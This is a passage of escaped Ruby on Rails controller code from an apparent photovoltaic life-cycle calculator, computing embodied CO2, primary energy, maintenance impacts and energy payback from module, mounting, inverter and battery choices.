= get_database_material_result_co2 'Mounting', 'Facade Integrated Structures', @ph_product\r\n end\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Open Ground'\r\n #B26\r\n temp = get_database_material_result_co2 'Mounting', 'Open Ground Structures', @ph_product\r\n end \r\n @ph_result.mounting = temp * @ph_product.ph_intermediate_result.module_area\r\n \r\n \r\n # ph_result inverter\r\n @ph_result.inverter = 0 \r\n if @ph_product.ph_electric_component.quantity_1 != 0\r\n temp = get_database_material_result_co2 'Electrics', '1x Inverter Type 1', @ph_product\r\n @ph_result.inverter += temp * @ph_product.ph_electric_component.quantity_1\r\n end\r\n if @ph_product.ph_electric_component.quantity_2 != 0\r\n temp = get_database_material_result_co2 'Electrics', '1x Inverter Type 2', @ph_product\r\n @ph_result.inverter += temp * @ph_product.ph_electric_component.quantity_2\r\n end\r\n \r\n \r\n # ph_result batteries\r\n @ph_result.batteries = 0 \r\n pes_1 = get_database_material_result_co2 'Electrics Battery', 'Lead Acid [kg / pc.]', @ph_product\r\n pes_2 = get_database_material_result_co2 'Electrics Battery', 'Lead Acid [per kg]', @ph_product\r\n @ph_result.batteries = @ph_product.ph_electric_component.separated_battery * pes_1 * pes_2\r\n \r\n # ph_result maintenance\r\n @ph_result.maintenance = 0 \r\n \r\n \r\n @ph_result.co2_total = @ph_result.cabling + @ph_result.module + @ph_result.framing + @ph_result.mounting + @ph_result.inverter + @ph_result.batteries\r\n \r\n \r\n ###########\r\n ### MAINTENANCE\r\n #########\r\n \r\n @ph_maintenance_result.years_included = 0\r\n if @ph_product.ph_maintenance.maintenance_needs == 'yes_5'\r\n @ph_maintenance_result.years_included = 5\r\n end\r\n if @ph_product.ph_maintenance.maintenance_needs == 'yes_10'\r\n @ph_maintenance_result.years_included = 10\r\n end\r\n if @ph_product.ph_maintenance.maintenance_needs == 'yes_15'\r\n @ph_maintenance_result.years_included = 15\r\n end\r\n if @ph_product.ph_maintenance.maintenance_needs == 'yes_20'\r\n @ph_maintenance_result.years_included = 20\r\n end\r\n \r\n # boolean\r\n @ph_maintenance_result.inverter_replacement = 0\r\n if @ph_maintenance_result.years_included != 0\r\n if @ph_product.ph_maintenance.replacement_inverters == 'yes'\r\n @ph_maintenance_result.inverter_replacement = 1 \r\n end \r\n end\r\n\r\n # boolean\r\n @ph_maintenance_result.batteries_replacement = 0\r\n if @ph_product.ph_maintenance.replacement_batteries == 'yes'\r\n @ph_maintenance_result.batteries_replacement = 1 \r\n end \r\n \r\n @ph_maintenance_result.tap_water_l = 0\r\n if @ph_product.ph_maintenance.cleaning_modules == 'yes'\r\n @ph_maintenance_result.tap_water_l = 3.25\r\n end\r\n \r\n @ph_maintenance_result.tap_water_co2 = 0\r\n #b38\r\n temp = get_database_material_result_co2 'Maintenance', 'Tap Water', @ph_product\r\n @ph_maintenance_result.tap_water_co2 = temp * @ph_maintenance_result.tap_water_l\r\n \r\n @ph_maintenance_result.tap_water_pe = 0\r\n #c38\r\n temp = get_database_material_result_pe 'Maintenance', 'Tap Water', @ph_product\r\n @ph_maintenance_result.tap_water_pe = temp * @ph_maintenance_result.tap_water_l\r\n \r\n \r\n @ph_maintenance_result.needed_cycles_1 = 0\r\n if @ph_product.ph_electric_component.inverter_size_1 != 0 && @ph_product.ph_electric_component.quantity_1 != 0 \r\n if @ph_maintenance_result.inverter_replacement == 1 \r\n @ph_maintenance_result.needed_cycles_1 = (@ph_maintenance_result.years_included / @ph_product.ph_electric_component.lifetime_1) - 1\r\n if @ph_maintenance_result.needed_cycles_1 < 0\r\n @ph_maintenance_result.needed_cycles_1 = 0\r\n else \r\n @ph_maintenance_result.needed_cycles_1 = @ph_maintenance_result.needed_cycles_1.ceil \r\n end\r\n end\r\n end\r\n @ph_maintenance_result.needed_replacements_1 = @ph_maintenance_result.needed_cycles_1 * @ph_product.ph_electric_component.quantity_1\r\n \r\n @ph_maintenance_result.embodied_co2_1 = 0\r\n # B29\r\n temp = get_database_material_result_co2 'Electrics', '1x Inverter Type 1', @ph_product\r\n @ph_maintenance_result.embodied_co2_1 = temp * @ph_maintenance_result.needed_replacements_1 \r\n @ph_maintenance_result.embodied_pe_1 = 0\r\n # C29\r\n temp = get_database_material_result_pe 'Electrics', '1x Inverter Type 1', @ph_product\r\n @ph_maintenance_result.embodied_pe_1 = temp * @ph_maintenance_result.needed_replacements_1\r\n\r\n \r\n @ph_maintenance_result.needed_cycles_2 = 0\r\n if @ph_product.ph_electric_component.inverter_size_2 != 0 && @ph_product.ph_electric_component.quantity_2 != 0 \r\n if @ph_maintenance_result.inverter_replacement == 1 \r\n @ph_maintenance_result.needed_cycles_2 = (@ph_maintenance_result.years_included / @ph_product.ph_electric_component.lifetime_2) - 1\r\n if @ph_maintenance_result.needed_cycles_2 < 0\r\n @ph_maintenance_result.needed_cycles_2 = 0\r\n else \r\n @ph_maintenance_result.needed_cycles_2 = @ph_maintenance_result.needed_cycles_2.ceil\r\n end \r\n end\r\n end\r\n @ph_maintenance_result.needed_replacements_2 = @ph_maintenance_result.needed_cycles_2 * @ph_product.ph_electric_component.quantity_2\r\n \r\n @ph_maintenance_result.embodied_co2_2 = 0\r\n # B29\r\n temp = get_database_material_result_co2 'Electrics', '1x Inverter Type 2', @ph_product\r\n @ph_maintenance_result.embodied_co2_2 = temp * @ph_maintenance_result.needed_replacements_2\r\n \r\n @ph_maintenance_result.embodied_pe_2 = 0\r\n # C29\r\n temp = get_database_material_result_pe 'Electrics', '1x Inverter Type 2', @ph_product\r\n @ph_maintenance_result.embodied_pe_2 = temp * @ph_maintenance_result.needed_replacements_2\r\n \r\n \r\n \r\n @ph_maintenance_result.driven_maintenance = 2 * @ph_product.ph_maintenance.distance\r\n @ph_maintenance_result.driven_year = @ph_maintenance_result.driven_maintenance * @ph_product.ph_maintenance.yearly_frequency\r\n @ph_maintenance_result.driven_contract = @ph_maintenance_result.driven_year * @ph_maintenance_result.years_included\r\n \r\n @ph_maintenance_result.embodied_co2_transport = 0 \r\n #B35\r\n temp = get_database_material_result_co2 'Maintenance', 'Average Car Driving', @ph_product\r\n @ph_maintenance_result.embodied_co2_transport = @ph_maintenance_result.driven_contract * temp\r\n \r\n @ph_maintenance_result.embodied_pe_transport = 0\r\n #C35\r\n temp = get_database_material_result_pe 'Maintenance', 'Average Car Driving', @ph_product\r\n @ph_maintenance_result.embodied_pe_transport = @ph_maintenance_result.driven_contract * temp\r\n \r\n @ph_maintenance_result.embodied_co2_cleaning = @ph_product.ph_intermediate_result.module_area * @ph_maintenance_result.tap_water_co2\r\n @ph_maintenance_result.embodied_pe_cleaning = @ph_product.ph_intermediate_result.module_area * @ph_maintenance_result.tap_water_pe\r\n @ph_maintenance_result.total_embodied_co2_cleaning = @ph_maintenance_result.embodied_co2_cleaning * @ph_maintenance_result.years_included * @ph_product.ph_maintenance.yearly_frequency\r\n @ph_maintenance_result.total_embodied_pe_cleaning = @ph_maintenance_result.embodied_pe_cleaning * @ph_maintenance_result.years_included * @ph_product.ph_maintenance.yearly_frequency\r\n \r\n @ph_maintenance_result.needed_cycles_batteries = 0\r\n if @ph_maintenance_result.batteries_replacement == 1\r\n @ph_maintenance_result.needed_cycles_batteries = (@ph_maintenance_result.years_included / @ph_product.ph_electric_component.battery_lifetime) - 1\r\n if @ph_maintenance_result.needed_cycles_batteries < 0\r\n @ph_maintenance_result.needed_cycles_batteries = 0\r\n else \r\n @ph_maintenance_result.needed_cycles_batteries = @ph_maintenance_result.needed_cycles_batteries.ceil\r\n end \r\n end\r\n \r\n @ph_maintenance_result.needed_replacements_batteries = @ph_maintenance_result.needed_cycles_batteries * @ph_product.ph_electric_component.separated_battery\r\n \r\n @ph_maintenance_result.embodied_co2_batteries = 0\r\n #B31\r\n temp = get_database_material_result_co2 'Electrics Battery', 'Lead Acid [kg / pc.]', @ph_product\r\n #B32 \r\n temp_2 = get_database_material_result_co2 'Electrics Battery', 'Lead Acid [per kg]', @ph_product\r\n @ph_maintenance_result.embodied_co2_batteries = @ph_maintenance_result.needed_replacements_batteries * temp * temp_2\r\n \r\n @ph_maintenance_result.embodied_pe_batteries = 0 \r\n #B31\r\n temp = get_database_material_result_co2 'Electrics Battery', 'Lead Acid [kg / pc.]', @ph_product\r\n #C32 \r\n temp_2 = get_database_material_result_pe 'Electrics Battery', 'Lead Acid [per kg]', @ph_product\r\n @ph_maintenance_result.embodied_pe_batteries = @ph_maintenance_result.needed_replacements_batteries * temp * temp_2\r\n \r\n @ph_maintenance_result.embodied_carbon_dioxide = 0\r\n @ph_maintenance_result.embodied_primary_energy = 0\r\n if @ph_product.ph_maintenance.maintenance_needs != 'no'\r\n @ph_maintenance_result.embodied_carbon_dioxide = @ph_maintenance_result.embodied_co2_1 + @ph_maintenance_result.embodied_co2_2 + @ph_maintenance_result.embodied_co2_transport + @ph_maintenance_result.total_embodied_co2_cleaning + @ph_maintenance_result.embodied_co2_batteries\r\n @ph_maintenance_result.embodied_primary_energy = @ph_maintenance_result.embodied_pe_1 + @ph_maintenance_result.embodied_pe_2 + @ph_maintenance_result.embodied_pe_transport + @ph_maintenance_result.total_embodied_pe_cleaning + @ph_maintenance_result.embodied_pe_batteries \r\n end\r\n @ph_result.maintenance = @ph_maintenance_result.embodied_carbon_dioxide\r\n @ph_embedded_result.pe_maintenance = @ph_maintenance_result.embodied_primary_energy\r\n ##########\r\n ### EMBEDDED\r\n ##########\r\n\r\n @ph_embedded_result.lifetime_saved = @ph_result.lifetime * 3.6 / @ph_product.ph_basic_information.conversion_factor\r\n \r\n @ph_embedded_result.pe_pv_cabling = 0\r\n temp = 0\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'On Roof - Mounted' || @ph_product.ph_basic_information.ph_mounting_type.name == 'On Roof - Integrated'\r\n #C22\r\n temp = get_database_material_result_pe 'Electrical Cabling', 'Roof Mounted System', @ph_product \r\n end \r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Facade - Integrated' || @ph_product.ph_basic_information.ph_mounting_type.name == 'Facade - Mounted'\r\n #C21\r\n temp = get_database_material_result_pe 'Electrical Cabling', 'Facade Mounted System', @ph_product\r\n end \r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Open Ground'\r\n #C23\r\n temp = get_database_material_result_pe 'Electrical Cabling', 'Ground Mounted System', @ph_product\r\n end \r\n @ph_embedded_result.pe_pv_cabling = temp * @ph_product.ph_intermediate_result.module_area\r\n \r\n \r\n @ph_embedded_result.pe_pv_module = 0\r\n if @ph_product.ph_specified.ph_module_type.name == 'amorphous Silicon'\r\n # B17\r\n temp = get_database_material_result_pe 'a-Si', 'Module Laminate', @ph_product\r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'polycrystalline Silicon'\r\n # B15\r\n temp = get_database_material_result_pe 'p-Si', 'Total Module Laminate', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'monocrystalline Silicon'\r\n # B8\r\n temp = get_database_material_result_pe 'm-Si', 'Total Module Laminate', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'CdTe Thinfilm'\r\n # B2\r\n temp = get_database_material_result_pe 'CdTe', 'Thinfilm', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'CIS/CIGS Thinfilm'\r\n # B19\r\n temp = get_database_material_result_pe 'CIS/CIGS', 'Module Laminate', @ph_product \r\n end\r\n @ph_embedded_result.pe_pv_module = temp * @ph_product.ph_intermediate_result.module_area \r\n \r\n @ph_embedded_result.pe_pv_framing = 0\r\n if @ph_product.ph_basic_information.framed == 'yes'\r\n if @ph_product.ph_specified.ph_module_type.name == 'amorphous Silicon'\r\n # B18 - B17\r\n temp = (get_database_material_result_pe 'a-Si', 'Module Framed Panel', @ph_product) - (get_database_material_result_pe 'a-Si', 'Module Laminate', @ph_product)\r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'polycrystalline Silicon'\r\n # B14\r\n temp = get_database_material_result_pe 'p-Si', 'Module/Framed Panel', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'monocrystalline Silicon'\r\n # B7\r\n temp = get_database_material_result_pe 'm-Si', 'Module/Framed Panel', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'CIS/CIGS Thinfilm'\r\n # B20 - B19\r\n temp = (get_database_material_result_pe 'CIS/CIGS', 'Module Framed Panel', @ph_product) - (get_database_material_result_pe 'CIS/CIGS', 'Module Laminate', @ph_product) \r\n end \r\n if @ph_product.ph_specified.ph_module_type.name == 'CdTe Thinfilm'\r\n # B2\r\n temp = 0 \r\n end \r\n @ph_embedded_result.pe_pv_framing = temp * @ph_product.ph_intermediate_result.module_area\r\n end\r\n \r\n @ph_embedded_result.pe_pv_mounting = 0\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'On Roof - Mounted'\r\n #B24\r\n temp = get_database_material_result_pe 'Mounting', 'Roof Mounted Structures', @ph_product\r\n end\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'On Roof - Integrated'\r\n #B25\r\n temp = get_database_material_result_pe 'Mounting', 'Roof Integrated Structures', @ph_product\r\n end\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Facade - Mounted'\r\n #B27\r\n temp = get_database_material_result_pe 'Mounting', 'Facade Mounted Structures', @ph_product \r\n end\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Facade - Integrated'\r\n #B28\r\n temp = get_database_material_result_pe 'Mounting', 'Facade Integrated Structures', @ph_product\r\n end\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Open Ground'\r\n #B26\r\n temp = get_database_material_result_pe 'Mounting', 'Open Ground Structures', @ph_product\r\n end \r\n @ph_embedded_result.pe_pv_mounting = temp * @ph_product.ph_intermediate_result.module_area\r\n \r\n @ph_embedded_result.pe_inverter = 0\r\n if @ph_product.ph_electric_component.quantity_1 != 0\r\n temp = get_database_material_result_pe 'Electrics', '1x Inverter Type 1', @ph_product\r\n @ph_embedded_result.pe_inverter += temp * @ph_product.ph_electric_component.quantity_1\r\n end\r\n if @ph_product.ph_electric_component.quantity_2 != 0\r\n temp = get_database_material_result_pe 'Electrics', '1x Inverter Type 2', @ph_product\r\n @ph_embedded_result.pe_inverter += temp * @ph_product.ph_electric_component.quantity_2\r\n end\r\n \r\n \r\n @ph_embedded_result.pe_batteries = 0\r\n pes_1 = get_database_material_result_co2 'Electrics Battery', 'Lead Acid [kg / pc.]', @ph_product\r\n pes_2 = get_database_material_result_pe 'Electrics Battery', 'Lead Acid [per kg]', @ph_product\r\n @ph_embedded_result.pe_batteries = @ph_product.ph_electric_component.separated_battery * pes_1 * pes_2\r\n \r\n \r\n \r\n @ph_embedded_result.embedded_energy_total = @ph_embedded_result.pe_pv_cabling + @ph_embedded_result.pe_pv_module + @ph_embedded_result.pe_pv_framing + @ph_embedded_result.pe_pv_mounting + @ph_embedded_result.pe_inverter + @ph_embedded_result.pe_batteries + @ph_embedded_result.pe_maintenance \r\n \r\n \r\n @ph_embedded_result.peak_power = @ph_product.ph_intermediate_result.module_area * calcul_efficiency / 100\r\n @ph_embedded_result.lifetime_production = @ph_result.lifetime\r\n @ph_embedded_result.averaged_power = @ph_embedded_result.lifetime_production / @ph_product.ph_specified.lifetime\r\n @ph_embedded_result.averaged_consumption = @ph_embedded_result.averaged_power * 3.6 / @ph_product.ph_basic_information.conversion_factor \r\n @ph_embedded_result.system_emb = @ph_embedded_result.embedded_energy_total\r\n @ph_embedded_result.energy_payback = @ph_embedded_result.embedded_energy_total / @ph_embedded_result.averaged_consumption\r\n @ph_embedded_result.energy_yield = @ph_embedded_result.lifetime_saved / @ph_embedded_result.embedded_energy_total\r\n @ph_embedded_result.emb_co2 = @ph_result.cabling + @ph_result.inverter + @ph_result.batteries \r\n# @ph_embedded_result.estim_co2 = 1000 * @ph_result.co2_total / @ph_embedded_result.lifetime_production\r\n \r\n\r\n\r\n \r\n \r\n \r\n @ph_result.co2_total += @ph_result.maintenance\r\n @ph_embedded_result.estim_co2 = 1000 * @ph_result.co2_total / @ph_result.lifetime\r\n @ph_embedded_result.net_saved_co2 = @ph_embedded_result.lifetime_production * (@ph_product.ph_basic_information.co2_factor - @ph_embedded_result.estim_co2) / 1000 \r\n \r\n @ph_product.ph_result.save\r\n @ph_product.ph_embedded_result.save\r\n @ph_product.ph_maintenance_result.save\r\n end \r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml\r\n end\r\n end",
"def summary\r\n \r\n @ph_product = PhProduct.find(params[:ph_result_id])\r\n @product = @ph_product.product\r\n @step = 1 \r\n if @ph_product.ph_intermediate_result \r\n if !@ph_product.ph_result\r\n ph_result = PhResult.new \r\n ph_result.ph_product_id = @ph_product.id\r\n ph_result.save\r\n @ph_product.ph_result = ph_result\r\n end\r\n @ph_result = @ph_product.ph_result\r\n if !@ph_product.ph_maintenance_result \r\n ph_maintenance_result = PhMaintenanceResult.new \r\n ph_maintenance_result.ph_product_id = @ph_product.id\r\n ph_maintenance_result.save\r\n @ph_product.ph_maintenance_result = ph_maintenance_result \r\n end\r\n @ph_maintenance_result = @ph_product.ph_maintenance_result \r\n if !@ph_product.ph_embedded_result \r\n ph_embedded_result = PhEmbeddedResult.new \r\n ph_embedded_result.ph_product_id = @ph_product.id\r\n ph_embedded_result.save\r\n @ph_product.ph_embedded_result = ph_embedded_result \r\n end\r\n @ph_embedded_result = @ph_product.ph_embedded_result \r\n \r\n\r\n @ph_embedded_result.temperature_induced = 0\r\n temp = 0\r\n if @ph_product.ph_specified.ph_module_type.name == 'amorphous Silicon'\r\n temp = -0.13\r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'polycrystalline Silicon'\r\n temp = -0.4465\r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'monocrystalline Silicon'\r\n temp = -0.402545\r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'CdTe Thinfilm'\r\n temp = -0.25 \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'CIS/CIGS Thinfilm'\r\n temp = -0.43666\r\n end \r\n \r\n # =(Assumptions!$I$11-25)*IF(Assumptions!G19=Menues!A2,Menues!A122,IF(Assumptions!G19=Menues!A3,Menues!B122,IF(Assumptions!G19=Menues!A4,Menues!C122,IF(Assumptions!G19=Menues!A5,Menues!D122,IF(Assumptions!G19=Menues!A6,Menues!E122,0))))) \r\n \r\n @ph_embedded_result.temperature_induced = temp * (@ph_product.ph_basic_information.temperature - 25) \r\n calcul_efficiency = @ph_product.ph_specified.efficiency * (1 + (@ph_embedded_result.temperature_induced / 100))\r\n \r\n ph_database_material_values = PhDatabaseMaterialValue.find(:all, :conditions => [\"ph_product_id = ?\", @ph_product.id])\r\n ph_database_material_values.each do |ph_database_material_value|\r\n ph_database_material_value.delete\r\n end \r\n \r\n\r\n @ph_database_materials = PhDatabaseMaterial.all \r\n @ph_database_materials.each do |ph_database_material|\r\n if ph_database_material.default_value_co2 == 0\r\n calculate_co2 ph_database_material, @ph_product\r\n end\r\n if ph_database_material.default_value_pe == 0\r\n calculate_pe ph_database_material, @ph_product\r\n end \r\n end\r\n @ph_database_material_values = PhDatabaseMaterialValue.find(:all, :conditions => [\"ph_product_id = ?\", @ph_product.id])\r\n \r\n n49 = 0\r\n if @ph_product.ph_specified.area_unit\r\n n49 = @ph_product.ph_specified.area * @ph_product.ph_specified.area_unit.conversion_factor\r\n end\r\n \r\n if @ph_product.ph_basic_information.known == 'both' || @ph_product.ph_basic_information.known == 'power_demand'\r\n #Menues!N56*Assumptions!F39\r\n @ph_result.lifetime = 0\r\n n56 = 0\r\n #=IF($Assumptions.G19=$Menues.A7;0;\r\n if @ph_product.ph_specified.ph_module_type.name != 'Not specified'\r\n if @ph_product.ph_specified.power_unit.conversion_factor == -1 \r\n # Peak Power [kWp]\r\n conversion_factor = @ph_product.ph_basic_information.radiation * @ph_product.ph_basic_information.performance_ratio\r\n n56 = @ph_product.ph_specified.power * conversion_factor\r\n else \r\n n56 = @ph_product.ph_specified.power * @ph_product.ph_specified.power_unit.conversion_factor\r\n end \r\n @ph_result.lifetime = n56 * @ph_product.ph_specified.lifetime\r\n end\r\n else \r\n #Menues!N49*(Assumptions!F38/100)*Assumptions!I15*Assumptions!I9*Assumptions!F39 \r\n @ph_result.lifetime = n49 * (calcul_efficiency / 100) * @ph_product.ph_basic_information.performance_ratio * @ph_product.ph_basic_information.radiation * @ph_product.ph_specified.lifetime\r\n \r\n end\r\n \r\n \r\n #IF($Assumptions.E35=$Menues.G41;$Assumptions.D35*$Menues.E60;IF($Assumptions.E35=$Menues.G42;$Assumptions.D35;IF($Assumptions.E35=G43;$Menues.E59*$Assumptions.D35;IF($Assumptions.E35=$Menues.G44;$Menues.E58*$Assumptions.D35;IF($Assumptions.E35=$Menues.G45;$Menues.E61*$Assumptions.D35;0)))));0))\r\n \r\n # ph_result cabling\r\n @ph_result.cabling = 0\r\n temp = 0\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'On Roof - Mounted' || @ph_product.ph_basic_information.ph_mounting_type.name == 'On Roof - Integrated'\r\n temp = get_database_material_result_co2 'Electrical Cabling', 'Roof Mounted System', @ph_product \r\n end \r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Facade - Integrated' || @ph_product.ph_basic_information.ph_mounting_type.name == 'Facade - Mounted'\r\n temp = get_database_material_result_co2 'Electrical Cabling', 'Facade Mounted System', @ph_product\r\n end \r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Open Ground'\r\n temp = get_database_material_result_co2 'Electrical Cabling', 'Ground Mounted System', @ph_product\r\n end \r\n\r\n @ph_result.cabling = temp * @ph_product.ph_intermediate_result.module_area\r\n\r\n @ph_result.module = 0\r\n if @ph_product.ph_specified.ph_module_type.name == 'amorphous Silicon'\r\n # B17\r\n temp = get_database_material_result_co2 'a-Si', 'Module Laminate', @ph_product\r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'polycrystalline Silicon'\r\n # B15\r\n temp = get_database_material_result_co2 'p-Si', 'Total Module Laminate', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'monocrystalline Silicon'\r\n # B8\r\n temp = get_database_material_result_co2 'm-Si', 'Total Module Laminate', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'CdTe Thinfilm'\r\n # B2\r\n temp = get_database_material_result_co2 'CdTe', 'Thinfilm', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'CIS/CIGS Thinfilm'\r\n # B19\r\n temp = get_database_material_result_co2 'CIS/CIGS', 'Module Laminate', @ph_product \r\n end\r\n @ph_result.module = temp * @ph_product.ph_intermediate_result.module_area\r\n \r\n # =(IF(Assumptions!$G$19=Menues!$A$5,'Database Materials'!B$2,IF(Assumptions!$G$19=Menues!$A$2,'Database Materials'!B$17,IF(Assumptions!$G$19=Menues!$A$3,'Database Materials'!B$15,IF(Assumptions!$G$19=Menues!$A$4,'Database Materials'!B$8,IF(Assumptions!$G$19=Menues!$A$6,'Database Materials'!B$19,0))))))*Assumptions!$I$68 \r\n\r\n @ph_result.framing = 0 \r\n if @ph_product.ph_basic_information.framed == 'yes'\r\n if @ph_product.ph_specified.ph_module_type.name == 'amorphous Silicon'\r\n # B18 - B17\r\n temp = (get_database_material_result_co2 'a-Si', 'Module Framed Panel', @ph_product) - (get_database_material_result_co2 'a-Si', 'Module Laminate', @ph_product)\r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'polycrystalline Silicon'\r\n # B14\r\n temp = get_database_material_result_co2 'p-Si', 'Module/Framed Panel', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'monocrystalline Silicon'\r\n # B7\r\n temp = get_database_material_result_co2 'm-Si', 'Module/Framed Panel', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'CIS/CIGS Thinfilm'\r\n # B20 - B19\r\n temp = (get_database_material_result_co2 'CIS/CIGS', 'Module Framed Panel', @ph_product) - (get_database_material_result_co2 'CIS/CIGS', 'Module Laminate', @ph_product) \r\n end \r\n if @ph_product.ph_specified.ph_module_type.name == 'CdTe Thinfilm'\r\n # B2\r\n temp = 0 \r\n end \r\n @ph_result.framing = temp * @ph_product.ph_intermediate_result.module_area\r\n end\r\n \r\n # ph_result mounting\r\n @ph_result.mounting = 0 \r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'On Roof - Mounted'\r\n #B24\r\n temp = get_database_material_result_co2 'Mounting', 'Roof Mounted Structures', @ph_product\r\n end\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'On Roof - Integrated'\r\n #B25\r\n temp = get_database_material_result_co2 'Mounting', 'Roof Integrated Structures', @ph_product\r\n end\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Facade - Mounted'\r\n #B27\r\n temp = get_database_material_result_co2 'Mounting', 'Facade Mounted Structures', @ph_product \r\n end\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Facade - Integrated'\r\n #B28\r\n temp = get_database_material_result_co2 'Mounting', 'Facade Integrated Structures', @ph_product\r\n end\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Open Ground'\r\n #B26\r\n temp = get_database_material_result_co2 'Mounting', 'Open Ground Structures', @ph_product\r\n end \r\n @ph_result.mounting = temp * @ph_product.ph_intermediate_result.module_area\r\n \r\n \r\n # ph_result inverter\r\n @ph_result.inverter = 0 \r\n if @ph_product.ph_electric_component.quantity_1 != 0\r\n temp = get_database_material_result_co2 'Electrics', '1x Inverter Type 1', @ph_product\r\n @ph_result.inverter += temp * @ph_product.ph_electric_component.quantity_1\r\n end\r\n if @ph_product.ph_electric_component.quantity_2 != 0\r\n temp = get_database_material_result_co2 'Electrics', '1x Inverter Type 2', @ph_product\r\n @ph_result.inverter += temp * @ph_product.ph_electric_component.quantity_2\r\n end\r\n \r\n \r\n # ph_result batteries\r\n @ph_result.batteries = 0 \r\n pes_1 = get_database_material_result_co2 'Electrics Battery', 'Lead Acid [kg / pc.]', @ph_product\r\n pes_2 = get_database_material_result_co2 'Electrics Battery', 'Lead Acid [per kg]', @ph_product\r\n @ph_result.batteries = @ph_product.ph_electric_component.separated_battery * pes_1 * pes_2\r\n \r\n # ph_result maintenance\r\n @ph_result.maintenance = 0 \r\n \r\n \r\n @ph_result.co2_total = @ph_result.cabling + @ph_result.module + @ph_result.framing + @ph_result.mounting + @ph_result.inverter + @ph_result.batteries\r\n \r\n \r\n ###########\r\n ### MAINTENANCE\r\n #########\r\n \r\n @ph_maintenance_result.years_included = 0\r\n if @ph_product.ph_maintenance.maintenance_needs == 'yes_5'\r\n @ph_maintenance_result.years_included = 5\r\n end\r\n if @ph_product.ph_maintenance.maintenance_needs == 'yes_10'\r\n @ph_maintenance_result.years_included = 10\r\n end\r\n if @ph_product.ph_maintenance.maintenance_needs == 'yes_15'\r\n @ph_maintenance_result.years_included = 15\r\n end\r\n if @ph_product.ph_maintenance.maintenance_needs == 'yes_20'\r\n @ph_maintenance_result.years_included = 20\r\n end\r\n \r\n # boolean\r\n @ph_maintenance_result.inverter_replacement = 0\r\n if @ph_maintenance_result.years_included != 0\r\n if @ph_product.ph_maintenance.replacement_inverters == 'yes'\r\n @ph_maintenance_result.inverter_replacement = 1 \r\n end \r\n end\r\n\r\n # boolean\r\n @ph_maintenance_result.batteries_replacement = 0\r\n if @ph_product.ph_maintenance.replacement_batteries == 'yes'\r\n @ph_maintenance_result.batteries_replacement = 1 \r\n end \r\n \r\n @ph_maintenance_result.tap_water_l = 0\r\n if @ph_product.ph_maintenance.cleaning_modules == 'yes'\r\n @ph_maintenance_result.tap_water_l = 3.25\r\n end\r\n \r\n @ph_maintenance_result.tap_water_co2 = 0\r\n #b38\r\n temp = get_database_material_result_co2 'Maintenance', 'Tap Water', @ph_product\r\n @ph_maintenance_result.tap_water_co2 = temp * @ph_maintenance_result.tap_water_l\r\n \r\n @ph_maintenance_result.tap_water_pe = 0\r\n #c38\r\n temp = get_database_material_result_pe 'Maintenance', 'Tap Water', @ph_product\r\n @ph_maintenance_result.tap_water_pe = temp * @ph_maintenance_result.tap_water_l\r\n \r\n \r\n @ph_maintenance_result.needed_cycles_1 = 0\r\n if @ph_product.ph_electric_component.inverter_size_1 != 0 && @ph_product.ph_electric_component.quantity_1 != 0 \r\n if @ph_maintenance_result.inverter_replacement == 1 \r\n @ph_maintenance_result.needed_cycles_1 = (@ph_maintenance_result.years_included / @ph_product.ph_electric_component.lifetime_1) - 1\r\n if @ph_maintenance_result.needed_cycles_1 < 0\r\n @ph_maintenance_result.needed_cycles_1 = 0\r\n else \r\n @ph_maintenance_result.needed_cycles_1 = @ph_maintenance_result.needed_cycles_1.ceil \r\n end\r\n end\r\n end\r\n @ph_maintenance_result.needed_replacements_1 = @ph_maintenance_result.needed_cycles_1 * @ph_product.ph_electric_component.quantity_1\r\n \r\n @ph_maintenance_result.embodied_co2_1 = 0\r\n # B29\r\n temp = get_database_material_result_co2 'Electrics', '1x Inverter Type 1', @ph_product\r\n @ph_maintenance_result.embodied_co2_1 = temp * @ph_maintenance_result.needed_replacements_1 \r\n @ph_maintenance_result.embodied_pe_1 = 0\r\n # C29\r\n temp = get_database_material_result_pe 'Electrics', '1x Inverter Type 1', @ph_product\r\n @ph_maintenance_result.embodied_pe_1 = temp * @ph_maintenance_result.needed_replacements_1\r\n\r\n \r\n @ph_maintenance_result.needed_cycles_2 = 0\r\n if @ph_product.ph_electric_component.inverter_size_2 != 0 && @ph_product.ph_electric_component.quantity_2 != 0 \r\n if @ph_maintenance_result.inverter_replacement == 1 \r\n @ph_maintenance_result.needed_cycles_2 = (@ph_maintenance_result.years_included / 